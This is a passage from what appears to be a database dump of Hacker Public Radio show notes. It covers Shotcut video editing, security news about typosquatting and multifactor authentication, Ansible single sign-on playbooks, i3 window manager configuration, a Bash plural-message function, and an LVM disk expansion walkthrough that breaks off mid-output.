project.</p>\n<p>Drag the first file from the Playlist to the timeline making sure\nthat the start of the video starts at 0 seconds.</p>\n<p>Click on the timeline in the position where the first start point of\ninterest is needed. Use the S key to split the video at this point.\nDon\'t worry about being too accurate as this can be moved at a later\nstage.</p>\n<p>Repeat this process for the end point of interest.</p>\n<p>Repeat this again for all the other sections of start and end points\nof interest.</p>\n<p>Remove the unwanted sections of video by clicking on a section then\nhitting the delete key. This will remove the unwanted section leaving an\nempty space behind.</p>\n<p>Once all the unwanted sections are removed click on the sections of\nvideo and pull them to the left to close the gaps up. I find it useful\nto leave some space between the good sections of video as it makes it\neasier to see where splits are and makes it easier later on to rearrange\nthe order of the individual clips.</p>\n<p>Check the start and end points of the remaining sections of video to\nsee that the start and end points stop in the correct place. You can do\nthis by clicking the play button on the preview window. The video start\nand end points can be adjusted by dragging the section left or right in\nin the timeline section; this is where leaving spaces Between each\nsection of video can be handy as it allows for fine tuning.</p>\n<p>Add a new blank video track to the timeline to hold the next video.\nNote this wasn\'t required when adding the first video track but it is\nneeded for each subsequent track. A video track can be added by right\nclicking on an empty portion of the timeline and selecting add video\ntrack. Alternatively use the ctrl + I key.</p>\n<p>Drag your second video from the playlist onto the newly created blank\nvideo track in the timeline. As before make sure that the start of the\nvideo starts at 0 seconds.</p>\n<p>Before previewing any section of the second video track click the\nsmall eye shaped hide icon in the left section of the first video track\nlabelled output. This will prevent previewing both video tracks at the\nsame time.</p>\n<p>Repeat the process above of chopping the second video track into\nsections using the S key to split the video up. Remove the unwanted\nsections. Finally adjust the start and end points of the remaining\nsections.</p>\n<p>Repeat the steps above to add the remaining video files one at a time\nfrom the playlist to the timeline.</p>\n<p>When complete you end up with separate video tracks in the timeline\neach containing good sections of video.</p>\n<p>At this stage I can\'t be too specific about how to continue as there\nare a number of different options depending on your particular Project.\nYou can for example start by combining the good sections of video into\none video track by dragging them from one track to another then add if\nrequired an audio track or you can add the audio track first and then\ntry to sync things up to the audio track moving bits and pieces of video\ninto one video track remembering to hide the unwanted sections of video\nby clicking on the small hide eye icons. Don\'t do too much editing\nwithout saving the project. If you get a message about low memory save\nthe project then reopen it.</p>\n<p>To export the final video click on the export button in the toolbar.\nI pick the default option, this creates an H.264/AAC MP4 file suitable\nfor most users and purposes. You can check the frame rate is the same as\nyour original media files by clicking on the advanced tab. Click the\nexport file button and give it a file name. It may take some time to\ncreate the export file. This will be dependent on the speed of your\ncomputer and the length and resolution of your project.</p>\n<p>While Shotcut is far from perfect on my puny PC it is surprisingly\nusable and stable and is the best option I&#x2019;ve found so far.</p>\n<p>Finally here are some general shotcut tips I have when doing video\nediting on a puny PC with limited ram, slow processor and built in\ngraphics card such as mine.</p>\n<h2 id=\"general-tips-when-working-with-a-low-powered-pc\">General Tips\nwhen working with a low powered PC</h2>\n<p>Close all open applications leaving only shortcut open this helps\nwith RAM usage</p>\n<p>Shortcut is surprisingly stable with a feeble PC such as mine. I\nwould still recommend saving your project regularly as it is quick and\nvery easy to do.</p>\n<p>If you get a message about running out of RAM then try not to do too\nmuch more editing before saving the project. Once saved close shotcut\nand then reopen it. The longer your project is and the higher your\nproject resolution the more RAM you will need.</p>\n<p>When you are about to export your final video save the project close\nshortcut reopen shotcut and immediately export your project as any\nprevious editing may be taking up precious ram.</p>\n<p>Be patient when clicking on the timeline to repositioned the play\nhead. Always wait for the preview window to update. This can sometimes\ntake a few seconds.</p>\n<p>When trying to sync video to audio you need to zoom in in quite a\nlong way before getting an audio preview. When doing this and moving the\nplay head you\'ll get a choppy version of the audio with this it is still\nperfectly possible to find the beat of the music allowing you to sync\nyour video to the music. If this doesn\'t seem to work for you then try\nzooming in closer.</p>\n<p>Ok that\'s about it for this podcast. Hope it wasn\'t too boring and it\nmade some sense. If you want to contact me I can be contacted at\nmrxathpr at googlemail.</p>\n<p>Thank you and goodbye.</p>\n',201,0,0,'CC-BY-SA','workflow, tips, video, editing, application',0,0,1),
(3719,'2022-11-03','HPR News',594,'InfoSec; the language of security.','<h1 id=\"infosec-the-language-of-security\">InfoSec; the language of\nsecurity.</h1>\n<h2 id=\"what-is-typosquatting-and-how-do-scammers-use-it\"><a\nhref=\"https://www.howtogeek.com/devops/what-is-typosquatting-and-how-do-scammers-use-it/\">What\nis Typosquatting and How Do Scammers Use it?</a></h2>\n<ul>\n<li>Typosquatting, as an attack, uses modified or misspelled domain\nnames to trick users into visiting fraudulent websites; the heart of\nthis attack is domain name registration. Typosquatting is deployed by\nscammers to defraud unaware users. Attackers will attempt to: mimic\nlogin pages, redirect traffic, download malware, and extort users.</li>\n<li><strong>Past Known Typosquatting Attacks.</strong>\n<ul>\n<li><a\nhref=\"https://thehackernews.com/2021/07/several-malicious-typosquatted-python.html\">Several\nMalicious Typosquatted Python Libraries Found On PyPI\nRepository</a></li>\n<li><a\nhref=\"https://thehackernews.com/2020/04/rubygem-typosquatting-malware.html\">Over\n700 Malicious Typosquatted Libraries Found On RubyGems\nRepository</a></li>\n<li><a\nhref=\"https://blog.rust-lang.org/2022/05/10/malicious-crate-rustdecimal.html\">Security\nadvisory: malicious crate rustdecimal</a></li>\n<li><a\nhref=\"https://blog.sonatype.com/this-week-in-malware-may-13th-edition\">This\nWeek in Malware-Malicious Rust crate, \'colors\' Typosquats</a></li>\n</ul></li>\n<li><strong>Solutions to Typosquatting.</strong>\n<ul>\n<li><a\nhref=\"https://opensource.com/article/20/1/stop-typosquatting-attacks\">How\nto stop typosquatting attacks</a></li>\n<li><a\nhref=\"https://www.howtogeek.com/363735/what-is-a-checksum-and-why-should-you-care/\">What\nIs a Checksum (and Why Should You Care)?</a></li>\n<li><a href=\"https://docs.pi-hole.net/\">PiHole</a></li>\n<li><a href=\"https://design.ubuntu.com/font/\">Ubuntu font\nfamily</a></li>\n</ul></li>\n<li><strong>DNS monitoring services.</strong>\n<ul>\n<li>Link to dnstwister: <a\nhref=\"https://dnstwister.report/\">https://dnstwister.report/</a></li>\n<li>Link to whois: <a\nhref=\"https://www.whois.com/whois\">https://www.whois.com/whois</a></li>\n</ul></li>\n<li><strong>Password Managers.</strong>\n<ul>\n<li>Link to bitwarden: <a\nhref=\"https://bitwarden.com/\">https://bitwarden.com/</a></li>\n<li>Link to keepassxc: <a\nhref=\"https://keepassxc.org/\">https://keepassxc.org/</a></li>\n</ul></li>\n</ul>\n<hr />\n<h2 id=\"two-factor-and-multifactor-authentication\">Two-factor and\nMultifactor Authentication.</h2>\n<ul>\n<li><p>First, authentication. This is the process of verifying the\nvalidity of something; in our case, user credentials/identity. The most\ncommon way to authenticate is: <em>USERNAME</em> and <em>PASSWORD</em>.\nThis is just a single layer (single-factor authentication) and isn&#x2019;t\nenough to discourage attackers.</p></li>\n<li><p>Second, 2FA (Two-factor Authentication). 2FA increases the\ndifficulty for attackers by providing users an additional layer of\nsecurity to accomplish authentication. Common 2FA methods are: TOTP/OTP\n(<em>the</em> <strong>One Time Password</strong>), Authenticator\nApplications (<a href=\"https://bitwarden.com/\">Bitwarden</a>, <a\nhref=\"https://keepassxc.org/\">KeePassXC</a>,...), and Security Keys (<a\nhref=\"https://www.yubico.com/\">Yubikey</a>). This works similar to ATMs;\nto authenticate the user must provide both knowledge (account\n<strong>PIN</strong>) and a physical object (bank card).</p></li>\n<li><p>Last, but not least, MFA (Multifactor Authentication). Similar to\n2FA, MFA offers users security with the addition of biometrics\n(fingerprint scan, retina scan, facial recognition, and voice\nrecognition). Attackers must overcome the knowledge factor, Possession\nfactor, Inherence/Biometric factor, Time factor, and sometimes Location\nfactor.</p></li>\n<li><p><strong>MORE helpful security information.</strong></p>\n<ul>\n<li><a href=\"https://fidoalliance.org/specifications/\">FIDO Alliance\nSpecifications.</a></li>\n<li><a\nhref=\"https://bitwarden.com/help/bitwarden-field-guide-two-step-login/\">Field\nGuide to Two-Step Login.</a></li>\n</ul></li>\n<li><p><strong>2FA/MFA Known Attacks.</strong></p>\n<ul>\n<li><a\nhref=\"https://www.vice.com/en/article/y3vz5k/booming-underground-market-bots-2fa-otp-paypal-amazon-bank-apple-venmo\">Bots\nThat Steal Your 2FA Codes.</a></li>\n<li><a\nhref=\"https://thenextweb.com/news/hackers-cracking-two-factor-authentication-security-syndication\">hackers\nare cracking two-factor authentication</a></li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','InfoSec, Typosquatting, SFA, 2FA, MFA, Security',0,0,1),
(3718,'2022-11-02','Making Ansible playbooks to configure Single Sign On for popular open source applications',239,'A small introduction into my latest project when I spoke at the recent Nextcloud 2022 conference.','<p>This is a recording of a short introduction into my latest\nproject.</p>\n<p>To help sysadmins everywhere the Onestein organization (an\norganization specialized in Odoo implementations) invested 4 month of\nresearch to create a set of easy to use Ansible playbooks to configure\nsingle sign on (SSO) for popular open source applications to enable them\nto authenticate to a Keycloak server as the central identity\nprovider.</p>\n<p>These playbooks have been published on <a\nhref=\"https://github.com/onesteinbv/project_single_sign_on\"\nclass=\"uri\">https://github.com/onesteinbv/project_single_sign_on</a>.</p>\n<p>The list of supported applications are currently:</p>\n<ul>\n<li>Bitwarden</li>\n<li>Jenkins</li>\n<li>Gitlab</li>\n<li>Keycloak (not SSO, but the identity provider)</li>\n<li>Nextcloud</li>\n<li>Odoo</li>\n<li>Xwiki</li>\n<li>Zabbix</li>\n</ul>\n<p>All playbooks and servers are for Ubuntu servers and are meant to be\nused as a starting point.</p>\n<p>5 minute YouTube talk at the 2022 Nextcloud conference about this\nproject:<br />\n<a href=\"https://www.youtube.com/watch?v=pDPKzo8Bi10\"\nclass=\"uri\">https://www.youtube.com/watch?v=pDPKzo8Bi10</a></p>\n',369,61,0,'CC-BY-SA','ansible, playbooks, sso, keycloak, single sign on',0,0,1),
(3735,'2022-11-25','i3 Tiling Window Manager',953,'i3 Tiling Window Manager with a bonus KDE Plasma integration','<h2 id=\"what-is-i3\"><em><em>What is i3?</em></em></h2>\n<ul>\n<li>Lightweight tiling window manager</li>\n<li>Configured with 2 files\n<ul>\n<li>~/.config/i3/config</li>\n<li>/etc/i3status.conf</li>\n</ul></li>\n</ul>\n<h2 id=\"multi-monitor-support\"><em><em>Multi-monitor\nsupport</em></em></h2>\n<h4 id=\"monitor-properties\"><em><em>Monitor properties</em></em></h4>\n<pre><code>    xrandr -q | grep HDMI</code></pre>\n<ul>\n<li>HDMI-A-0 disconnected primary (normal left inverted right x axis y\naxis)</li>\n</ul>\n<pre><code>    xrandr --prop | grep HDMI</code></pre>\n<ul>\n<li><p>HDMI-A-0 disconnected primary (normal left inverted right x axis\ny axis)</p></li>\n<li><p>supported: Unknown, VGA, DVI-D, HDMI, DP, Wireless,\nNative</p></li>\n</ul>\n<pre><code>    ## dualmonitor.sh\n\n    #!/bin/bash\n    echo &#39;1 for on 2 for off&#39;\n    read monitor\n    if [ $monitor == 1 ]; then\n    xrandr --output HDMI-A-0 --auto --left-of eDP\n    elif [ $monitor == 2 ]; then\n    xrandr --output HDMI-A-0 --off\n    fi</code></pre>\n<h3 id=\"top-keybindings\"><em><em>Top keybindings</em></em></h3>\n<pre><code>Mod + O --&gt; Open Firefox\nMod + Enter --&gt; Open Terminal\nMod + M --&gt; Open the Mutt email client\nMod + Shift + M --&gt; Open the Sylpheed email client\n\nMod1 + D --&gt; Open Dmenu\nMod1 + T --&gt; Open Tenacity</code></pre>\n<h3 id=\"mod-keys\"><em><em>Mod keys</em></em></h3>\n<pre><code>mod1    Alt_L (0x40),  Meta_L (0xcd)\n\nmod4    Super_L (0x85),  Super_R (0x86),  Super_L (0xce),  Hyper_L (0xcf)</code></pre>\n<h3 id=\"area-selection-screenshots\"><em><em>Area selection\nscreenshots</em></em></h3>\n<pre><code>  bindsym --release Shift+Print exec import Pictures/Screenshots/screenshot_&quot;$(date &quot;+%a %b %F_%H-%M-%S&quot;)&quot;.png</code></pre>\n<h3 id=\"screenshot-entire-screen\"><em><em>Screenshot entire\nscreen</em></em></h3>\n<pre><code>  bindsym --release Print exec import -window root Pictures/Screenshots/screenshot_&quot;$(date &quot;+%a %b %F_%H-%M-%S&quot;)&quot;.png</code></pre>\n<h3 id=\"compositor\"><em><em>Compositor</em></em></h3>\n<p>picom</p>\n<h3 id=\"set-wallpaper\"><em><em>Set wallpaper</em></em></h3>\n<pre><code>  exec --no-startup-id feh --bg-fill &quot;~/Pictures/Wallpaper/Star\\ Trek/STAR-TREK-Starships-star-trek-2952089-1024-768.jpg&quot;</code></pre>\n<h3 id=\"i3-with-kde\"><em><em>i3 with KDE</em></em></h3>\n<p><code>systemctl --user mask plasma-kwin_x11.service</code></p>\n<ul>\n<li>plasma-i3.service</li>\n</ul>\n<pre><code>    [Install]\n    WantedBy=plasma-workspace.target\n\n    [Unit]\n    Description=Plasma Custom Window Manager\n    Before=plasma-workspace.target\n\n    [Service]\n    ExecStart=/usr/bin/i3\n    Slice=session.slice\n    Restart=on-failure</code></pre>\n<p><code>systemctl --user daemon-reload</code></p>\n<p><code>systemctl --user enable plasma-i3.service</code></p>\n<h3 id=\"files\"><em><em>Files</em></em></h3>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3735/config\"\ntitle=\"~/.config/i3/config\">~/.config/i3/config</a></p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3735/i3status.conf\"\ntitle=\"/etc/i3status.conf\">/etc/i3status.conf</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3735/dualmonitor.sh.txt\"\ntitle=\"dualmonitor.sh\">dualmonitor.sh</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3735/i3_with_kde_plasma_config.conf\"\ntitle=\"i3_with_kde_plasma_config.conf\">i3_with_kde_plasma_config.conf</a></p>\n<h3 id=\"links\"><em><em>Links</em></em></h3>\n<p><a href=\"https://en.wikipedia.org/wiki/Tiling_window_manager\"\ntitle=\"Wikipedia article on i3\">Wikipedia article on i3</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Xinerama\"\ntitle=\"Wikipedia article on Xinerama\">Wikipedia article on\nXinerama</a></p>\n<p><a href=\"https://wiki.archlinux.org/title/I3\"\ntitle=\"Archwiki entry on i3\">Archwiki entry on i3</a></p>\n<p><a href=\"https://i3wm.org/docs/userguide.html\"\ntitle=\"i3 User Guide\">i3 User Guide</a></p>\n<p><a\nhref=\"https://linuxhint.com/kde-plasma-i3wm-arch-plasma-5-25-update\"\ntitle=\"KDE/Plasma with i3wm\">KDE/Plasma with i3wm</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3735/screenshot_Fri_Oct_2022-10-28_06-29-33.png\"\ntitle=\"Screenshot of i3 with KDE Plasma\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3735/screenshot_Fri_Oct_2022-10-28_06-29-33_thumbnail.png\"\ntitle=\"Click on the thumbnail to see the full picture\"\nalt=\"Screenshot of i3 with KDE Plasma\" /></a></p>\n',318,11,0,'CC-BY-SA','i3wm, window manager, lightweight apps, KDE, KDE Plasma',0,0,1),
(3722,'2022-11-08','Bash snippet - plurals in messages',513,'How to use English singular and plural words in messages','<article>\n<h2 id=\"overview\">Overview</h2>\n<p>Have you ever written a Bash script (or any shell script) where you\ngenerate a message like <code>\'Found 42 files\'</code> and the day comes\nwhen it reports <code>\'Found 1 files\'</code>?</p>\n<p>Have you been irritated by this? I have, and I go to lengths to deal\nproperly with (English) plurals in my Bash scripts.</p>\n<h2 id=\"method-1\">Method 1</h2>\n<p>The simplest solution would be to use an <code>\'if\'</code>\nstatement:</p>\n<pre><code>if [[ $fcount -eq 1 ]]; then\n    echo &quot;Found 1 file&quot;\nelse\n    echo &quot;Found $fcount files&quot;\nfi</code></pre>\n<p>This works, but to have to do it for every message would be a\npain!</p>\n<h2 id=\"method-2\">Method 2</h2>\n<p>The next approach to this problem might be to write a Bash\nfunction.</p>\n<pre><code>pluralise () {\n    local singular=&quot;${1}&quot;\n    local plural=&quot;${2}&quot;\n    local count=&quot;${3}&quot;\n\n    if [[ $count -eq 1 ]]; then\n        echo &quot;$singular&quot;\n    else\n        echo &quot;$plural&quot;\n    fi\n}</code></pre>\n<p>This can be called as follows:</p>\n<pre><code>$ i=1; echo &quot;Found $i $(pluralise &quot;file&quot; &quot;files&quot; $i)&quot;\nFound 1 file\n$ i=42; echo &quot;Found $i $(pluralise &quot;file&quot; &quot;files&quot; $i)&quot;\nFound 42 files</code></pre>\n<p>The string being displayed with <code>echo</code> contains a command\nsubstitution (<code>\'$(command)\'</code>) which returns\n<code>\'file\'</code> or <code>\'files\'</code> depending on the value\ngiven.</p>\n<p>The first two arguments can be more complex than plain strings:</p>\n<pre><code>$ i=1; echo &quot;There $(pluralise &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere is 1 light\n$ i=4; echo &quot;There $(pluralise &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere are 4 lights</code></pre>\n<p>The <a\nhref=\"https://hackerpublicradio.org/eps/hpr3722/pluralise.sh\"><code>pluralise</code>\nfunction</a> is available for download.</p>\n<h2 id=\"method-3\">Method 3</h2>\n<p>The GNU project has developed a set of utilities called the <em>GNU\ngettext utilities</em> consisting of tools and <a\nhref=\"https://www.gnu.org/software/gettext/\">documentation</a> for\ntranslation. This is a large subject which is not suitable for a short\nHPR episode such as this one.</p>\n<p>Among the tools is <code>\'ngettext\'</code> which performs the\nfunction we have been discussing - choosing among plural forms. It also\nimplements translations if desired (and translation files are provided\nas part of the software being developed).</p>\n<p>We will not discuss the translation topic here, but the choice of\nplurals is something that can be used in Bash scripts.</p>\n<p>The <code>\'ngettext\'</code> tool takes three mandatory\nparameters:</p>\n<ul>\n<li><em>MSGID</em> - the singular form of the text</li>\n<li><em>MSGID-PLURAL</em> - the plural form of the text</li>\n<li><em>COUNT</em> - the value used to make the singular/plural\nchoice</li>\n</ul>\n<p>There are other optional parameters and options but they are not\nrelevant here.</p>\n<p>The tool can be used in exactly the same way as the\n<code>\'pluralise\'</code> example above.</p>\n<pre><code>$ i=1; echo &quot;There $(ngettext &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere is 1 light\n$ i=4; echo &quot;There $(ngettext &quot;is 1 light&quot; &quot;are $i lights&quot; $i)&quot;\nThere are 4 lights</code></pre>\n<p>Whether you use this or a Bash function is your choice.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>I have been using <code>ngettext</code> in my scripts since I\ndiscovered it. If you also need to provide messages in your projects in\nother languages then this might be a good idea.</p>\n<p>I admit that my understanding of the GNU <code>gettext</code> project\nis superficial, so, on reflection it might be better to use a Bash\nfunction, since I don’t currently need all of the features GNU\n<code>gettext</code> provides.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3722/pluralise.sh\">The\n<code>pluralise</code> function</a>. Either add it to the script you’re\ndeveloping or use the <code>\'source\'</code> command to load it.</li>\n<li><a href=\"https://www.gnu.org/software/gettext/\">GNU\n<code>gettext</code> utilities</a>, part of the <em>GNU Translation\nProject</em>.\n<ul>\n<li><a\nhref=\"https://www.gnu.org/software/gettext/manual/html_node/ngettext-Invocation.html\">Documentation\nspecific to <code>ngettext</code></a></li>\n</ul></li>\n</ul>\n</article>\n',225,42,1,'CC-BY-SA','Bash, plural, ngettext',0,0,1),
(3723,'2022-11-09','HPR News',722,'News for the Community, by the Community.','<h1 id=\"hpr-news\">HPR News.</h1>\n<h2 id=\"threat-analysis-your-attack-surface\"><strong>Threat Analysis;\nyour attack surface.</strong></h2>\n<p><a\nhref=\"https://thehackernews.com/2022/10/european-police-arrest-gang-that-hacked.html\">Wireless\nkey fobs compromised in European nations (France, Spain, and\nLatvia)</a>. On October 10, 2022, European authorities arrested 31\nsuspects across three nations. The suspects are believed to be related\nto a cybercrime ring that allegedly advertised an &#x201C;automotive diagnostic\nsolution&#x201D; online and sent out fraudulent packages to their victims. The\nfraudulent packages contained malware and once installed onto the\nvictims vehicle, the attackers were able to unlock the vehicle, start\nthe ignition, then steal the vehicle without the physical key fob.\nEuropean authorities confiscated over &#x20AC;1 million in criminal assets\n(malicious software, tools, and an online domain).</p>\n<p><a\nhref=\"https://thehackernews.com/2022/10/researchers-claim-microsoft-office-365.html\">Microsoft\nOffice 365 has a broken encryption algorithm.</a> Microsoft Office 365\nuses an encryption algorithm called &#x201C;Office 365 Message Encryption&#x201D; to\nsend and receive encrypted email messages. The messages are encrypted in\nan Electronic Codebook (ECB). The U.S. National Institute of Standards\nand Technology (NIST) reported, \"ECB mode encrypts plaintext blocks\nindependently, without randomization; therefore, the inspection of any\ntwo ciphertext blocks reveals whether or not the corresponding plaintext\nblocks are equal\". Emails can be harvested today then decrypted later\nfor future attacks.</p>\n<h2 id=\"user-space\"><strong>User Space.</strong></h2>\n<p><a\nhref=\"https://www.cnet.com/culture/entertainment/netflixs-password-sharing-crackdown-is-coming/#ftag=CAD590a51e\">Netflix\ncrackdown on freeloaders.</a> Netflix is testing in Argentina, the\nDominican Republic, El Salvador, Guatemala, and Honduras Chile, Costa\nRica and Peru <a\nhref=\"https://about.netflix.com/en/news/paying-to-share-netflix-outside-your-household&#39;\">different\nefforts</a> to crackdown on freeloaders. The term &#x201C;freeloaders&#x201D; covers\nthe multiple users sharing a single Netflix account from different\nlocations. Netflix plans to charge an additional $3.00 - $4.00 per\nsubaccount.</p>\n<p><a\nhref=\"https://www.cnet.com/tech/services-and-software/samsung-touts-a-better-connected-smart-home-with-blockchain-security/#ftag=CADe34d7bf\">Samsung\nimplements private blockchain to link user devices.</a> While claiming\nthe private blockchain, &#x201C;has nothing to do with cryptomining&#x201D;, the Knox\nMatrix security system links all your devices together in a private\nblockchain instead using a server based group verification system. The\nsystem, Knox Matrix, is suppose to allow devices to &#x201C;manage themselves&#x201D;\nby auto updating, caching updates for other devices then distributing\nthe updates to other devices on the private blockchain.</p>\n<h2 id=\"toys-for-techs\">Toys for Techs.</h2>\n<ul>\n<li><a href=\"https://junocomputers.com/us/product/juno-tablet/\">Juno\nTablet:</a>\n<ul>\n<li><a href=\"https://www.whois.com/whois/junocomputers.com\">whois\nlookup</a></li>\n<li><a\nhref=\"https://dnstwister.report/search?ed=6a756e6f636f6d7075746572732e636f6d\">DNS\nTwister Report</a></li>\n</ul></li>\n</ul>\n<p>Juno Tablet is a Beta product; overall it works with a few bugs. This\nis a non-refundable product, you will only get store credit.</p>\n<ul>\n<li><p>Price: $429.00 USD.</p></li>\n<li><p>Screen Size: 10.1&#x201D;</p>\n<ul>\n<li>Screen Type: Full HD IPS screen 1920&#xD7;1200 Capacitive touch,\nCapacitive (10-Point) MIPI-DSI.</li>\n<li>Refresh Rate: 60 Hz.</li>\n</ul></li>\n<li><p>CPU: <a\nhref=\"https://www.intel.com/content/www/us/en/products/sku/212329/intel-celeron-processor-n5100-4m-cache-up-to-2-80-ghz/specifications.html\">Intel\nJasper Lake Intel Celeron N5100</a> (4 Cores / 4 Threads) &#x2013; 1.10GHz\n(Turbo 2.80 GHz)</p>\n<ul>\n<li>Graphics: Intel UHD Graphics, Frequency: Base 350 MHz - Max 800\nMHz.</li>\n</ul></li>\n<li><p>Ram (SOLDERED): 8GB 2133 MHz LPDDR4.</p></li>\n<li><p>Storage: 256GB, 512GB, 1TB SSD.</p></li>\n<li><p>Chassis: Plastic.</p></li>\n<li><p>Wireless Card: <a\nhref=\"https://www.intel.com/content/www/us/en/products/sku/99446/intel-wirelessac-9560/specifications.html\">Intel\nWireless AC 9460/9560</a> Jefferson Peak 2.4 and 5GHz + Bluetooth\n4.2.</p></li>\n<li><p>Ports:</p>\n<ul>\n<li>1x USB3.0</li>\n<li>1x Type-C 3.1 (Supports charging + video out)</li>\n<li>1x Mini HDMI</li>\n<li>1x Micro SD</li>\n<li>3.5MM Headphone Jack</li>\n</ul></li>\n<li><p>Built-in Microphone</p></li>\n<li><p><strong>Linux Kernel 5.18+</strong></p></li>\n<li><p>OS:</p>\n<ul>\n<li><a href=\"https://software.manjaro.org/package/phosh#!\">Manjaro\nPhosh</a></li>\n<li><a href=\"https://plasma-mobile.org/get/\">Manjaro Plasma\nMobile</a></li>\n<li><a href=\"https://wiki.mobian-project.org/doku.php?id=intro\">Mobian\nPhosh</a></li>\n<li>Windows 11 (Not included &#x2013; can provide ISO)</li>\n</ul></li>\n<li><p><a href=\"https://en.jingos.com/jingpad-a1/\">JingPad A1, It&#x2019;s the\nWorld&#x2019;s FIRST Consumer-level ARM-based Linux Tablet.</a></p>\n<ul>\n<li>JingPad A1 maybe discontinued: <a\nhref=\"https://www.youtube.com/watch?v=cmBG1Sjgsgk\">https://www.youtube.com/watch?v=cmBG1Sjgsgk</a></li>\n</ul></li>\n<li><p><a href=\"https://wiki.pine64.org/wiki/Ox64\">Pine64&#x2019;s\nOx64.</a></p></li>\n<li><p><strong>RISC-V SBC Info:</strong></p></li>\n<li><p><strong>Ram:</strong></p>\n<ul>\n<li>Embedded 64MB PSRAM</li>\n</ul></li>\n<li><p><strong>Network:</strong></p>\n<ul>\n<li>2.4GHz 1T1R WiFi 802.11 b/g/n</li>\n<li>Bluetooth 5.2</li>\n<li>Zigbee</li>\n<li>10/100Mbps Ethernet (optional, on expansion board)</li>\n</ul></li>\n<li><p><strong>Storage:</strong></p>\n<ul>\n<li>on-board 16Mb (2MB) or 128Mb (16MB) XSPI NOR flash memory.</li>\n<li>microSD - supports SDHC and SDXC</li>\n</ul></li>\n<li><p><strong>Expansion Ports:</strong></p>\n<ul>\n<li>USB 2.0 OTG port</li>\n<li>26 GPIO Pins, including SPI, I2C and UART functionality. Possible\nI2S and GMII expansion.</li>\n<li>Dual lane MiPi CSI port, located at USB-C port, for camera\nmodule.</li>\n</ul></li>\n<li><p><strong>Audio:</strong></p>\n<ul>\n<li>mic (optional, on camera module)</li>\n<li>speaker (optional, on camera module)</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','Malware, Security Breach, Hardware, Tablets',0,0,1),
(3727,'2022-11-15','Expanding your filesystem with LVM',1480,'Rho`n describes adding a new hard drive to his work computer and expanding its filesystem','<h1 id=\"synopis\">Synopis</h1>\n<p>I installed a new 1TB Crucial MX500 SSD into my work computer. While\nwe are mostly a Windows based business, as the IT guy I do get a bit of\ndiscretion when updating my own machine (i.e. I get to solve all the\nproblems I create). Last year, I decided to run the Pop!_OS distribution\nof Linux on my work computer and run Windows in a VM on it. Recently the\nWindows image had grown and was causing disk space notifications. This\nprompted the additional hard drive.</p>\n<p>During the initial installation of Pop!_OS, I remember deciding not\nto bother with installing Linux Volume Management (LVM). I have used it\nin the past, but I am still much more comfortable with the old style\ndevice mapping and mounting disk partitions to directories. I even\nrationalized that if I needed to add more space, I will just add a new\ndisk with one big partition and map it to the home directory.</p>\n<p>Now a year later I am adding a new HD and thinking, I really hate all\nthe space that is most likely going to be wasted once I move the Windows\nimage to the new drive. Ok, I guess I should figure out how to install\nLVM, and use it to manage the space on both drives. Luckily there a\nnumber of good blogs to be found on adding LVM to an existing system.\nThe following are the steps and commands I used to accomplish my\ngoal.</p>\n<h1 id=\"commands\">Commands</h1>\n<p>Most of the following commands need to be run as root. I decided to\nchange to root user instead of typing sudo before every command. The\nbasic steps to creating a single filesystem sharing the storage space\nbetween two physical disk partitions are:</p>\n<ol type=\"1\">\n<li>Let LVM know about the new disk.</li>\n<li>In my case, create a volume group and add the new disk and its full\nstorage space to it.</li>\n<li>Copy the disk partition with the root filesystem from the origin\ndisk to the new volume group</li>\n<li>Expand the root filesystem on the volume group to the full size of\nthe volume group.</li>\n<li>Update system configuration to boot with the root filesystem on the\nnew volume group.</li>\n<li>Let LVM know about the old root disk partition.</li>\n<li>Add the old root partition to the volume group.</li>\n<li>Expand the root filesystem on the volume group to include the new\nspace in the volume group.</li>\n</ol>\n<pre><code>root@work# pvcreate /dev/sdb\n\nroot@work# pvdisplay\n  &quot;/dev/sdb&quot; is a new physical volume of &quot;931.51 GiB&quot;\n  --- NEW Physical volume ---\n  PV Name               /dev/sdb\n  VG Name\n  PV Size               931.51 GiB\n  Allocatable           NO\n  PE Size               0\n  Total PE              0\n  Free PE               0\n  Allocated PE          0\n  PV UUID               wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# vgcreate workvg /dev/dsb\n  No device found for /dev/dsb.\nroot@work# vgcreate workvg /dev/sdb\n  Volume group &quot;workvg&quot; successfully created\nroot@work# vgdisplay\n  --- Volume group ---\n  VG Name               workvg\n  System ID\n  Format                lvm2\n  Metadata Areas        1\n  Metadata Sequence No  1\n  VG Access             read/write\n  VG Status             resizable\n  MAX LV                0\n  Cur LV                0\n  Open LV               0\n  Max PV                0\n  Cur PV                1\n  Act PV                1\n  VG Size               931.51 GiB\n  PE Size               4.00 MiB\n  Total PE              238467\n  Alloc PE / Size       0 / 0\n  Free  PE / Size       238467 / 931.51 GiB\n  VG UUID               67DSwP-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# pvdisplay\n  --- Physical volume ---\n  PV Name               /dev/sdb\n  VG Name               workvg\n  PV Size               931.51 GiB / not usable 1.71 MiB\n  Allocatable           yes\n  PE Size               4.00 MiB\n  Total PE              238467\n  Free PE               238467\n  Allocated PE          0\n  PV UUID               wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvcreate -n root -L 931.51 workvg\n  Rounding up size to full physical extent 932.00 MiB\n  Logical volume &quot;root&quot; created.\n\nroot@work# cat /dev/sda3 &gt;/dev/mapper/workvg-root\ncat: write error: No space left on device</code></pre>\n<p>Hmmm why can\'t it copy the smaller disk onto a larger one?</p>\n<pre><code>root@work# pvdisplay\n  --- Physical volume ---\n  PV Name               /dev/sdb\n  VG Name               workvg\n  PV Size               931.51 GiB / not 